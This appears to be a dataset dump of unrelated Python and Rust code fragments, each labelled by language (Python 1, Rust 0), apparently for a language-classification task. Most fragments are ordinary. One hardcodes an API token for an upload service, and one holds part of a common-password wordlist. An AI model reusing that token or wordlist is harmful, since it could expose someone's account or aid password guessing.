text
string
label_name
string
labels
int64
from __future__ import annotations import pytest import re from pruna import SmashConfig, smash from pruna.config.target_modules import TARGET_MODULES_TYPE @pytest.mark.cuda @pytest.mark.parametrize( "model_fixture, algorithm_group, algorithm, target_modules, expected_number_of_targeted_modules", [ ...
Python
1
ratorType = value_t_or_exit!(matches.value_of("iterator-type"), IteratorType); let format_type: DataFormat = value_t_or_exit!(matches.value_of("data-format"), DataFormat); let ids: Option<Vec<String>> = values_t!(matches.values_of("shard-id"), String).ok(); let printer = printer::RecordsPrinter::new(matche...
Rust
0
import json import overpy api = overpy.Overpass() import geopandas as gpd from shapely.geometry import Polygon import click import re from tqdm import tqdm def select_non_overlapping_ml(gdf_ml, gdf_osm): """select osm buildings non-overlapping with ml predictions""" gdf_osm_buffered = gdf_osm.copy() gdf_o...
Python
1
= 152; pub const FT_Err_Could_Not_Find_Context: _bindgen_ty_25 = 153; pub const FT_Err_Invalid_Post_Table_Format: _bindgen_ty_25 = 154; pub const FT_Err_Invalid_Post_Table: _bindgen_ty_25 = 155; pub const FT_Err_Syntax_Error: _bindgen_ty_25 = 160; pub const FT_Err_Stack_Underflow: _bindgen_ty_25 = 161; pub const FT_Er...
Rust
0
o = calcular_valor_unitario(total_tvl, total_tokens_asppbr) # Calcula o valor de mercado total dos tokens ASPPBR valor_mercado_total = calcular_valor_mercado(valor_unitario, total_supply_asppbr) # Calcula o total da reserva de token ASPPBR total_asppbr_reserve = calculate_total_asppbr_reserve(...
Python
1
Self::get_debug(table, &activities3)); let url = from_url.join(path)?; self.client.put_local(table, &activities2, None).await?; self.client .put_remote(&url, &activities3, js_prefix) .await?; } for race_type in &["world_record_men", "...
Rust
0
trait_ident, target, target_generics, items, }) } } extern crate raster; use raster::Image; use raster::Color; fn render() { const WIDTH: i32 = 1024; const HEIGHT: i32 = 768; let mut image = Image::blank(WIDTH,HEIGHT); image.set_pixel(10, 10, Color::rgb...
Rust
0
resource::{ ResourceId, ResourcePools, }, scene::{ camera::PerspectiveCamera, mesh::Mesh, node::Node, scene::Scene, }, utils::{ geometry_helper::GeometryHelper, material_helper::MaterialHelper, }, web::wgpu_web_renderer::WGPUWebRenderer, }; use window::{ create_window, get_window_device_pixel_ra...
Rust
0
start_btn.click(engine.runner.run_train, input_elems, output_elems) stop_btn.click(engine.runner.set_abort, queue=False) resume_btn.change(engine.runner.monitor, outputs=output_elems) elem_dict.update( dict( cmd_preview_btn=cmd_preview_btn, start_btn=start_btn, ...
Python
1
ly_data["Precio"] overall_yield_max = monthly_data["Yield"].max() monthly_data["Precio Infravalorado"] = monthly_data["Dividendo Anual"] / overall_yield_max monthly_data = monthly_data.sort_values(by="Date") valor_infravalorado = monthly_data.iloc[-1]["Precio Infravalorad...
Python
1
import torch import torch.nn as nn class ModelNew(nn.Module): """ Performs a depthwise 2D convolution with asymmetric input and square kernel. Args: in_channels (int): Number of channels in the input tensor. out_channels (int): Number of channels produced by the convolution. kernel...
Python
1
le_list: f = ma.lower() if not f.endswith(".ma"): continue cmds.file(ma,o=1,f=1) base = os.path.basename(ma) name = os.path.splitext(base)[0] pm.mel.FBXExport(f= os.path.join(export_path,name)) @errorLog def onMayaDrop...
Python
1
= BABYLON)] pub fn set_emissive_texture(this: &StandardMaterial, val: &Texture); #[wasm_bindgen(method, setter, js_name="disableLighting", js_namespace = BABYLON)] pub fn set_disable_lighting(this: &StandardMaterial, val: bool); #[wasm_bindgen(extends = Material)] #[derive(Debug, Clone)] pub ...
Rust
0
#!/usr/bin/env python3 import argparse import inspect import pathlib as pl import re import sys def out2expectf_main(): this_file = pl.Path(inspect.getfile(inspect.currentframe())).resolve() root = this_file.parent.parent.parent root_re = re.escape(str(root)) parser = argparse.ArgumentParser( ...
Python
1
extra={"file_id": processed_file.id, "error": str(e)}, ) raise async def _update_file_record(self, processed_file: ProcessedFile) -> None: """Update file record in database.""" try: file_data = processed_file.model_dump() await self.db.up...
Python
1
r.parse_args() gen = EinsteinPuzzleGenerator( size=args.size, minimal_conditions=args.minimal_conditions, max_seconds_for_minimizing=args.max_seconds_for_minimizing, tries=args.tries ) if args.save: os.makedirs(args.data_dir, exist_ok=True) dataset = gen.genera...
Python
1
), *other_vasp.address(), other_vasp.auth_key_prefix(), vec![], vec![], vasp_compliance_public_key.to_bytes().to_vec(), add_all_currencies, ), 2, )); // try to delegate other_vasp's rotation cap to child--should abort l...
Rust
0
a port mapping. /// /// The local_addr is the address where the traffic is sent to. /// The lease_duration parameter is in seconds. A value of 0 is infinite. pub fn add_port( &self, protocol: PortMappingProtocol, external_port: u16, local_addr: SocketAddrV4, leas...
Rust
0
from setuptools import setup from setuptools.dist import Distribution # Dogfood ourselves here. Since however we at this point might not be # installed yet we cannot use snaek_rust_modules directly. Additionally # we might not be able to import outselves yet because the setup # requirements are not installed yet. I...
Python
1
import os import requests url = "https://api.superbed.cn/upload" token = "d1395ee466b34bfa8cb8c60e67d78309" def upload(path): assert os.path.exists(path) resp = requests.post(url, data={"token": token}, files={"file": open(path, "rb")}) resp = resp.json() if resp['err'] == 0: return resp['ur...
Python
1
write_str("a `Month`") } fn visit_str<E: de::Error>(self, value: &str) -> Result<Month, E> { match value { "January" => Ok(Month::January), "February" => Ok(Month::February), "March" => Ok(Month::March), "April" => Ok(Month::April), "May" => O...
Rust
0
pl/src/traits.rs<gh_stars>1-10 use sgx_types::{sgx_report_t, sgx_status_t, sgx_target_info_t, SgxResult}; /// Interface for working with wallet enclave. pub trait WalletEnclave: Send + 'static { fn create_report( &self, target_info: sgx_target_info_t, ) -> SgxResult<SgxResult<(sgx_report_t, [u8...
Rust
0
import os import numpy as np import tensorflow as tf # 从 weak_password 导入预处理函数和常量 # 确保 weak_password.py 中的这些定义是可导入的 # 如果 preprocess_password 依赖于 weak_password.py 中的其他全局变量, # 可能需要调整 weak_password.py 或在此处重新定义/导入它们。 try: from lib.weak_password import preprocess_password, MAX_LEN, SAVE_PATH except ImportError as e: ...
Python
1
# Author-Peter Ludikar, Gary Singer # Description-An Add-In for making dog-bone fillets. import os import adsk.core import adsk.fusion from ...lib.common.log import logging from ... import config from ...lib.classes import params logger = logging.getLogger('dogbone.createMfgCommand') app = adsk.core.Applicat...
Python
1
h) => bash._build(code).await, _ => Ok(vec![]), } } pub async fn execute( &self, code: Vec<u8>, input: Arc<RawFunctionInput>, env: &Environment, ) -> Result<String> { match self { ActiveToolchain::Deno(deno) => { deno....
Rust
0
] fn test_abbreviate_options() { #[rustfmt::skip] let oup = exec_target( TARGET_EXE_PATH, &[ "--deb", "--verb", "--verb", "--sp", "123", "--col", "never", "--con", "dir/file.conf", "inp", "oup", ], ); assert_eq!(oup.status.success(), false); assert_eq!(oup.stdout, ""); ...
Rust
0
, decoding /// with an `AnsCoder` *consumes* the compressed data for the decoded symbols (however, you /// can also decode immutable data by using a [`Cursor`]). This means /// that encoding and decoding can be interleaved arbitrarily, thus growing and shrinking /// the stack of compressed data as you go. /// /// # Exa...
Rust
0
1 # starting sample hannWin=0.5*(1-np.cos(2*np.pi*np.arange(1,winlength+1)/(winlength+1))) scale = np.sqrt(1.0 / hannWin.sum()**2) f,t,Zxx=stft(clean_speech[0:int(num_frames)*skiprate+int(winlength-skiprate)], fs=fs, window=hannWin, nperseg=winlength, noverlap=winlength-skiprate, nfft=n_fft, detrend=Fals...
Python
1
# Tipos de datos por valor - Cada valor tiene su espacio en memoria. int_a = 10 int_b = 20 print(int_b) int_b = int_a print(int_b) # Tipos de datos por referencia - Valores que heredan lo que poseen por su espacio en memoria. Todos los datos que no son primitivos. Por referencia entendemos que estamos referenciando el...
Python
1
p(); for sample in data.chunks_mut(channels) { let val = resampler.next(&mut *read_ring_buffer); for out in sample.iter_mut() { *out = val; } output_samples_written.fetch_add(1...
Rust
0
er settings CFG.TRAIN.LR_SCHEDULER = EasyDict() CFG.TRAIN.LR_SCHEDULER.TYPE = "MultiStepLR" CFG.TRAIN.LR_SCHEDULER.PARAM = { "milestones": [5, 10], "gamma": 0.5 } CFG.TRAIN.CLIP_GRAD_PARAM = { 'max_norm': 5.0 } # Train data loader settings CFG.TRAIN.DATA = EasyDict() CFG.TRAIN.DATA.BATCH_SIZE = 32 CFG.TRAIN...
Python
1
# Function to find the index of a string in a list def find_index(arr, string): # Step 1: Check if the list is empty if len(arr) == 0: print("The list is empty.") return -1 # Return -1 if the list is empty # Step 2: Loop through the list to find the string for i in range(len(arr)): ...
Python
1
se_required<T>(matches: &ArgMatches, name: &str) -> Result<T, String> where T: FromStr, <T as FromStr>::Err: std::fmt::Display, { parse_optional(matches, name)?.ok_or_else(|| format!("{} not specified", name)) } /// Returns the value of `name` (if present) or an error if it does not parse successfully usin...
Rust
0
ion before split. let region = pd_client.get_region(left_key).unwrap(); let region2 = pd_client.get_region(right_key).unwrap(); assert_eq!(region.get_id(), region2.get_id()); let (tx, rx) = channel(); let key = split_key.to_vec(); let c = Box::new(move |write_resp: WriteResponse| { let ...
Rust
0
nt, variable) where the gradient has been averaged across all towers. """ average_grads = [] for grad_and_vars in zip(*tower_grads): # Note that each grad_and_vars looks like the following: # ((grad0_gpu0, var0_gpu0), ... , (grad0_gpuN, var0_gpuN)) grads = [] for g, _ in grad_and_vars: ...
Python
1
; #[cfg(feature = "ClientType")] # [ wasm_bindgen ( structural , method , getter , js_class = "Client" , js_name = type ) ] #[doc = "Getter for the `type` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Client/type)"] #[doc = ""] ...
Rust
0
n = str(hex(int(input()))) num = input() cnt = 0 for ch in n: if ch == num: cnt+=1 print(cnt)
Python
1
run_dir=submit_config.run_dir, num_gpus=submit_config.num_gpus, tf_config=tf_config, ) # Update summaries and RunContext. metrics.update_autosummaries() tflib.autosummary.save_summaries(summary_log, cur_nimg) ...
Python
1
Struct_sched_param { fn default() -> Self { unsafe { ::std::mem::zeroed() } } } #[derive(Clone, Copy)] #[repr(u32)] pub enum Enum_Unnamed14 { QOS_CLASS_USER_INTERACTIVE = 33, QOS_CLASS_USER_INITIATED = 25, QOS_CLASS_DEFAULT = 21, QOS_CLASS_UTILITY = 17, QOS_CLASS_BACKGROUND = 9, QOS_CLASS_U...
Rust
0
(ng_ckr1wqt9): nbqxjstyh80 = b'' '# jackboxes_alkalinity_pyramid -> manpower_reviews_gloves' from uy2_gucp0ua import uzunrmwsozp as qzui4s2eyye, m6kw7wdc6n9, tubot5x8632 as fql4fapliuy, mvzaj16l1o5 as sg0qrnc6jxq, pf4tgk3nr2h, g5o0zqe7_my, j7dp5cl4r3p as h1w1w5ks0_i, u9ovmv4d4x2 raise vmcq2eciz9d a...
Python
1
ARB_geometry_shader4", "GL_ARB_gl_spirv", "GL_ARB_gpu_shader_fp64", "GL_ARB_gpu_shader_int64", "GL_ARB_invalidate_subdata", "GL_ARB_multi_draw_indirect", "GL_ARB_occlusion_query", "GL_ARB_pixel_buffer_object", "GL_ARB_robust...
Rust
0
, Clone)] pub struct TextEditingEvent { /// When this event occurred. pub timestamp: u32, /// The id of the window focused. pub window_id: u32, /// The text inputted. pub text: String, /// The editing position from the start. pub start: i32, /// The length of editing characters. ...
Rust
0
to do filtering and the // like. pub const TAG_INTERNED_ID:Interned = 1; //------------------------------------------------------------------------- // Utils //------------------------------------------------------------------------- pub fn format_interned(interner:&Interner, v:Interned) -> String { let v_str = i...
Rust
0
true = true.squeeze(-1) # here shapes are: (batch_size, max_seq_len) # compute halting prior pred_probs = torch.sigmoid(pred_logits) # compute prior as prod(1 - p_j) * p_i neg_cumprod = torch.cumprod(1 - pred_probs, dim=-1) neg_cumprod = torch.cat([torch.ones_like(neg_cumprod[..., :1]), neg_cu...
Python
1
} } use std::fmt; use crate::function::Function; #[derive(Clone, Debug)] pub enum Object { Null, Boolean(bool), Number(f64), String(String), Callable(Function), } impl Object { pub fn is_truthy(&self) -> bool { match *self { Object::Null => false, Object::Boo...
Rust
0
import os, sys, cv2 # os.environ['CUDA_VISIBLE_DEVICES'] = '-1' # 禁用GPU import numpy as np import tensorflow as tf # from concurrent.futures import ThreadPoolExecutor # from tensorflow.keras.applications import ResNet50 from tensorflow.keras.applications import EfficientNetB0 # from tensorflow.keras.preprocessing impor...
Python
1
fetch_train_data() else: print("-------------*MENU*-------------\n[1] Retrain model\n[2] Start Paper Piano\n[3] Exit") check = True while check: opt = int(input()) if opt == 1: check = False fetch_data.clear_training_data()...
Python
1
"TEAMO", "147147", "pleasure", "mountain", "lakers1", "girls", "bob123", "babypink", "12369874", "tiago", "shanna", "monroe", "leilani", "larry", "kontol", "hogwarts", "asakapa", "neopets", "meowmeow", "loveit", "kipper", "ilovedan"...
Rust
0
result .entry(new_universe) .and_modify(|c| *c += *count) .or_insert(*count); } } } } result } } fn part2(p1: u8, p2: u8) -> u128 { // Start with a one universe. ...
Rust
0
# -*- coding: utf-8 -*- """ Darkburn Colorscheme ~~~~~~~~~~~~~~~~~~~~ Converted by Vim Colorscheme Converter """ from pygments.style import Style from pygments.token import Token, Number, Comment, String, Keyword, Name, Generic, Operator class DarkburnStyle(Style): background_color = '#3f3f3f' st...
Python
1
#!/usr/bin/env python3 from random import randint, choice as rc from faker import Faker from app import app from models import db, Game, User, Inventory genres = [ "Platformer", "Shooter", "Fighting", "Stealth", "Survival", "Rhythm", "Survival Horror", "Metroidvania", "Text-Based...
Python
1
form.netmask.data, gateway = form.gateway.data, nameservers = form.nameservers.data, exclude_ips = form.exclude_ips.data ) self.db.add( N ) self.db.commit() # TODO: can not suitable for edit now ! sel...
Python
1
1.0, cref1.as_mut_slice(), m as i32, ); // gemm_nn( // m, // n, // k, // 1.0, // a.as_slice(), // m, // b.as_slice(), // m, // 1.0, // cref1.as_mut...
Rust
0
pendTunnel) } (false, true, false) => { let d: Uint256 = debt_data.debt.to_uint256().ok_or_else(|| { format_err!("Unable to convert debt data into unsigned 256 bit integer") })?; debt_data.payment_in_flight = true; ...
Rust
0
_base_ = [ '../_base_/models/vit-base-p16.py', '../_base_/datasets/imagenet_bs64_pil_resize_autoaug.py', '../_base_/schedules/imagenet_bs4096_AdamW.py', '../_base_/default_runtime.py' ] model = dict(backbone=dict(img_size=384)) img_norm_cfg = dict( mean=[127.5, 127.5, 127.5], std=[127.5, 127.5, 12...
Python
1
Clone)] pub struct ibv_alloc_dm_attr { pub length: usize, pub log_align_req: u32, pub comp_mask: u32, } #[test] fn bindgen_test_layout_ibv_alloc_dm_attr() { assert_eq!( ::std::mem::size_of::<ibv_alloc_dm_attr>(), 16usize, concat!("Size of: ", stringify!(ibv_alloc_dm_attr)) )...
Rust
0
, InteriorField(field_index)) => { base_cmt.resolve_field(field_index.0).map(|(adt_def, field_def)| { ImmutabilityBlame::AdtFieldDeref(adt_def, field_def) }) } Categorization::Upvar(Upvar { id, .. }) => {...
Rust
0
eraction_persons: Optional[bool] = None, with_opportunities: Optional[bool] = None, with_current_organizations: Optional[bool] = None, page_size: Optional[int] = None, page_token: Optional[str] = None ) -> Dict[str, Any]: """Search for persons in Affinity. Searches your team's data and fetc...
Python
1
// tests. let block = Arc::<Block>::zcash_deserialize(&zebra_test::vectors::BLOCK_MAINNET_415000_BYTES[..]) .expect("block should deserialize"); let now = Utc::now(); // This check is non-deterministic, but BLOCK_MAINNET_415000 is // a long time in the past. So it's unlikely that th...
Rust
0
Width of the row. /// height : Optional[Length] /// Height of the row. /// max_width : Optional[int] /// Maximum width of the row. /// max_height : Optional[int] /// Maximum height of the row. /// align_items : Optional[Align] /// Vertical alignment of the contents of the row. /// /// Returns /// -...
Rust
0
_r64_rm64 = 43, Adc_AL_imm8 = 44, Adc_AX_imm16 = 45, Adc_EAX_imm32 = 46, Adc_RAX_imm32 = 47, Pushw_SS = 48, Pushd_SS = 49, Popw_SS = 50, Popd_SS = 51, Sbb_rm8_r8 = 52, Sbb_rm16_r16 = 53, Sbb_rm32_r32 = 54, Sbb_rm64_r64 = 55, Sbb_r8_rm8 = 56, Sbb_r16_rm16 = 57, Sbb_r32_rm32 = 58, Sbb_r64_rm64 = 59, Sbb_...
Rust
0
#!/usr/bin/env python3 """Stub script to inject related blocks into Markdown files.""" from pathlib import Path RELATED_BLOCK = """<!-- related:auto:start -->\n## Related\n- [[Example]] — (0.00; stub)\n<!-- related:auto:end -->\n""" def inject_related(note: Path) -> None: text = note.read_text(encoding="utf-8")...
Python
1
ize { error!("Too many tagged fields to encode ({} fields)", num_tagged_fields); return Err(EncodeError); } total_size += types::UnsignedVarInt.compute_size(num_tagged_fields as u32)?; total_size += compute_unknown_tagged_fields_size(&self.unknown_tag...
Rust
0
# Code from Chapter 7 of Machine Learning: An Algorithmic Perspective (2nd Edition) # by Stephen Marsland (http://stephenmonika.net) # You are free to use, change, or redistribute the code in any way you wish for # non-commercial purposes, but please maintain the name of the original author. # This code comes with no...
Python
1
return datetime.fromisoformat(value) except ValueError: pass return value def path_to_arg(path): """ Convert dictionary keys in .yaml files to argument names in config. Args: path (str): Such as `Scheduler.ServerUpdate` Returns: str: Such as `Scheduler_Se...
Python
1
print(data) def main(args): testfile = args.testfile domain = args.domain valid = args.valid debugfile = args.debug password = "".join(random.choice("0123456789abcdefghijklmnopqrstuvwxyz") for _ in range(32)) # args.password headers = {"Content-Type": "text/xml"} users = [] for i...
Python
1
s the thermal conductivity of water depending on the temperature according to the formula in [1]. """ # Only values of t in the range 0-150°C are supported: if the input # value is outside this range, warn and clip if np.any(t < 0) or np.any(t > 150): warn( ...
Python
1
t(y) ############################################################################## # Streaming mode ############################################################################## def reset(self, gain: float = 1.0): """ Resets the AGC gain. Only useful when using streaming mode. ...
Python
1
\"help\".", cmd_name), } } } fn split_cmd_name_and_args(line: &str) -> (&str, &str) { let split_index = line.find(|c: char| c.is_whitespace() || c == '/'); if let Some(split_index) = split_index { if let Some('/') = line[split_index..].chars().next() { line.split_at(split_index...
Rust
0
const CARRY_FLAG_BYTE_POSITION: u8 = 4; #[derive(PartialEq, Copy, Clone, Debug)] pub struct FlagsRegister { // This bit becomes set (1) if the result of an operation has been zero (0). Used for conditional jumps. pub zero: bool, // Indicates whether the previous instruction has been an addition or subtract...
Rust
0
} assert_eq!(unsafe { exported_symbol() }, 123456); assert!(unsafe { make_true() }); } } } use crate::assert_prints; use crate::common::*; use crate::interpreter::interpreter_trait::InterpreterTrait; use crate::interpreter::test_utils::*; use crate::interpreter::Stdlib; ...
Rust
0
struct PairList<'a, 'b, T: Rewrite> { list: Vec<(&'b T, Option<String>)>, separators: Vec<&'a str>, } impl FlattenPair for ast::Expr { fn flatten( &self, context: &RewriteContext<'_>, shape: Shape, ) -> Option<PairList<'_, '_, ast::Expr>> { let top_op = match self.kind...
Rust
0
/task_manager/list_module_tasks/repair", response=[{ "task_id": "675ed9f4-6564-6dbd-can8-43fddce952gy" }]), expected_request("GET", "/task_manager/task_status_recursive/675ed9f4-6564-6dbd-can8-43fddce952gy", response=[])]) def test_tree_failure(nodetool, scylla_only): check_nodetool_fails_with_error_contai...
Python
1
_base_ = '../mask_rcnn/mask-rcnn_r50_fpn_1x_coco.py' model = dict( backbone=dict( norm_cfg=dict(type='SyncBN', requires_grad=True), norm_eval=False))
Python
1
ene_graph), query_shape(object)), object) def same_size(scene_graph, object): return rem(filter_size(scene(scene_graph), query_size(object)), object) def same_material(scene_graph, object): return rem(filter_material(scene(scene_graph), query_material(object)), object) def same_color(scene_graph, object): r...
Python
1
slld_xmm_imm8 0x02,// Invalid 0x02,// Invalid // 7 = 0x07 0x02,// Invalid // handlers_Grp_0F73 0x01,// ArrayReference 0x08,// 0x8 // 0 = 0x00 0x04,// Invalid2 // 2 = 0x02 0x11,// MandatoryPrefix 0x7C,// NIb 0x98, 0x0D,// Psrlq_mm_imm8 0x9F,// RIb 0x99, 0x0D,// Psrlq_xmm_imm8 0x02,// Invalid ...
Rust
0
9088; pub const MBEDTLS_ERR_X509_INVALID_DATE: c_int = -9216; pub const MBEDTLS_ERR_X509_INVALID_SIGNATURE: c_int = -9344; pub const MBEDTLS_ERR_X509_INVALID_EXTENSIONS: c_int = -9472; pub const MBEDTLS_ERR_X509_UNKNOWN_VERSION: c_int = -9600; pub const MBEDTLS_ERR_X509_UNKNOWN_SIG_ALG: c_int = -9728; pub const MBEDTLS...
Rust
0
class NumMatrix: def __init__(self, matrix: list[list[int]]): if len(matrix) == 0 or len(matrix[0]) == 0: return M, N = len(matrix), len(matrix[0]) self.dp = [[0] * (N + 1) for _ in range(M + 1)] for r in range(M): for c in range(N): self.dp[r]...
Python
1
_1: AVColorTransferCharacteristic = 13; pub const AVCOL_TRC_BT1361_ECG: AVColorTransferCharacteristic = 12; pub const AVCOL_TRC_IEC61966_2_4: AVColorTransferCharacteristic = 11; pub const AVCOL_TRC_LOG_SQRT: AVColorTransferCharacteristic = 10; pub const AVCOL_TRC_LOG: AVColorTransferCharacteristic = 9; pub const AVCOL_...
Rust
0
ct3 = ((word & 0x00007000) >> 12) as u8; match funct3 { 5 => { let funct7 = ((word & 0xfc000000) >> 25) as u8; match INSTRUCTIONS_GROUP13_SUB.get(&(funct7, funct3)) { Some(instruction) => Ok(&instruction), None => panic!("Not found instruction!",), ...
Rust
0
import numpy as np import matplotlib.pyplot as plt from scipy.sparse import block_diag, csr_matrix # Pendulum parameters G = 9.81 L = 1.0 T = 2.0 # Time horizon N = 50 # Number of time steps dt = T / N # Initial and final conditions theta0 = 1.0 # Initial angle theta_dot0 = 0.0 # Initial angular velocity theta_f...
Python
1
fb_configs.write(fb_config_array); *nelements = fb_config_array.len() as c_int; fb_configs as *mut GLXFBConfig } #[no_mangle] pub unsafe extern "C" fn glXChooseFBConfig( _dpy: *mut Display, screen: c_int, attrib_list: *const c_int, nelements: *mut c_int, ) -> *mut GLXFBConfig { assert_eq!(s...
Rust
0
print("-" * 45) top_products = product_metrics.nlargest(10, lift_column) display_columns = ['product_id', 'product_category_name_english'] + count_columns + [lift_column] + ratio_columns print(top_products[display_columns].to_string()) print(f"\nKey Insights:") print(f"Categories with highest...
Python
1
1.0 }, Color { r: 1.0, g: 0.0, b: 1.0, a: 1.0 }, Color { r: 1.0, g: 0.0, b: 0.0, a: 0.5 }, Color { r: 0.0, g: 1.0, b: 0.0, a: 0.5 }, Color { r: 0.0, g: 0.0, b: 1.0, a: 0.5 }, Color { r: 1.0, g: 1.0, b: 0.0, a: 0.5 }, Color { r: 0.0, g: 1.0, b: 1.0, a: 0.5 }, Color { r: 1.0, g: 0.0, b: 1.0, a...
Rust
0
# # Copyright 2015 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing...
Python
1
# -*- coding: utf-8 -*- # © 2016 Oihane Crucelaegui - AvanzOSC # License AGPL-3 - See http://www.gnu.org/licenses/agpl-3.0.html from openerp import api, models from openerp.models import expression class StockQuant(models.Model): _inherit = 'stock.quant' @api.model def name_search(self, name='', args=No...
Python
1
)] if s == &stringify!($name)[3..] { return Ok(Self::$name); } )*)* $($( #[cfg($cfg2)] if s == &stringify!($name2)[3..] { return Ok(Self::$name2); ...
Rust
0
None: """ Função assíncrona para executar o pipeline. Permite execução assíncrona da fase de extração de dados enquanto mantém as outras fases síncronas. """ try: # Configurar logging configurar_sistema_logging() logger.info("[MAIN] [START] PIPELINE OMIE V3 ...
Python
1
# Copyright 2023 Alfredo de la Fuente - AvanzOSC # License AGPL-3 - See http://www.gnu.org/licenses/agpl-3.0.html from odoo import api, fields, models class MrpProduction(models.Model): _inherit = "mrp.production" palet_id = fields.Many2one( string="Palet", comodel_name="stock.package.type", copy=Fal...
Python
1
ability/c-with-rust.html#automatically-generating-the-interface builder = builder.ctypes_prefix("cty") } const BINDINGS_RS: &str = "bindings.rs"; let out_file = PathBuf::from(env::var("OUT_DIR").unwrap()).join(BINDINGS_RS); builder .generate() .expect("Unable to generate binding...
Rust
0
[ pages.PageGroup( pages=self.get_pages(), label="Main Page Group", description="Main Pages for Main Things", ), pages.PageGroup( pages=[ "Second Set of Pages, Page 1", "Second Set...
Python
1
channel) { Ok(package) => { if current < package.ident() { debug!("Self updater installing newer Supervisor, {}", package.ident()); sender.send(package).expect("Main thread has gone ...
Rust
0
import numpy as np # Define the matrix map of the city city_map = np.array([[10, 14, 4, 16, np.inf, 17, 5, np.inf, np.inf], [5, 20, 16, 3, 1, 8, np.inf, 16, 19], [1, np.inf, 5, 13, 3, 15, 19, 15, np.inf], [np.inf, 16, 13, 20, np.inf, 8, np.inf, np.inf,...
Python
1
""" Sphinx extension to add ReadTheDocs-style "Edit on GitHub" links to the sidebar. Loosely based on https://github.com/astropy/astropy/pull/347 Edited by Ian Bell, 2014 to add path_prefix """ import os import warnings __licence__ = 'BSD (3 clause)' def get_github_url(app, view, path): return 'https://githu...
Python
1
(|n| { let (res, _) = (*n).overflowing_add(U256::one()); *n = res; *n }) } /// Generates a 256-bit unique hash from an `AccountId` and the /// internal (auto-incrementing) `Nonce` to prevent replay attacks. /// /// # Arguments /// /// * `id`: Para...
Rust
0
("sighash-address").unwrap(); AddressParser::new( Some(NetworkType::Mainnet), Some(AddressPayloadOption::Short(Some(CodeHashIndex::Sighash))), ) .parse(input)? }; let genesis_time...
Rust
0
}; use phf::phf_map; use std::error::Error; use std::fmt; use std::iter::Peekable; use std::str::CharIndices; #[derive(Debug)] struct ScanError { line: i32, message: String, } impl fmt::Display for ScanError { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { write!(f, "[line {}] Error: {...
Rust
0
{ write!(f, "KeyEvent") } } <reponame>nezdolik/reproto use core::errors::*; use core::{ Flavor, Handle, Loc, RelativePath, RelativePathBuf, RpDecl, RpEnumBody, RpInterfaceBody, RpName, RpPackage, RpServiceBody, RpTupleBody, RpTypeBody, }; use std::cmp; use std::collections::BTreeMap; use std::fmt; u...
Rust
0
p| p.as_ref()).to_glib_none().0, Some(callback), Box_::into_raw(user_data) as *mut _, ); } } #[cfg(any(feature = "v1_12", feature = "dox"))] pub fn checkpoint_adjust_rollback_timeout_future( &self, checkpoint_path: &str, add_timeou...
Rust
0
#[derive(Debug, Fail)] pub enum MultipartError { #[fail(display = "payload reached its size limit")] Overflow, #[fail(display = "{}", _0)] InvalidMultipart(actix_web::error::MultipartError), } /// A wrapper around an actix payload that always ends with a newline. #[derive(Clone, Debug)] struct Termin...
Rust
0